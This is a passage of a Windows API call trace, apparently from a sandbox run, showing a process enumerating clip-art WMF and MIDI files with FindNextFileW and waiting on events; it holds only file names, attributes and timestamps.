[0182.493] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0182.721] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0182.722] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0182.722] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0182.722] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0182.722] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0182.722] ResetEvent (hEvent=0x174) returned 1 [0182.722] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.010] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0183.010] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0183.011] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0183.011] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0183.011] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0183.011] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0183.011] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0183.011] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0183.011] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0183.012] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0183.012] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0183.012] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0183.012] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0183.012] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0183.012] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0183.013] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0183.013] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0183.013] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0183.013] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0183.013] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0183.013] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0183.014] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0183.014] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0183.014] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0183.014] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0183.014] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0183.014] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0183.014] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0183.015] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0183.015] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0183.015] ResetEvent (hEvent=0x174) returned 1 [0183.015] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.019] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0183.019] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0183.019] ResetEvent (hEvent=0x174) returned 1 [0183.019] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.027] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0183.027] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0183.027] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0183.027] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0183.028] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0183.028] ResetEvent (hEvent=0x174) returned 1 [0183.028] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.033] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0183.033] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0183.033] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0183.033] ResetEvent (hEvent=0x174) returned 1 [0183.033] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.044] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, 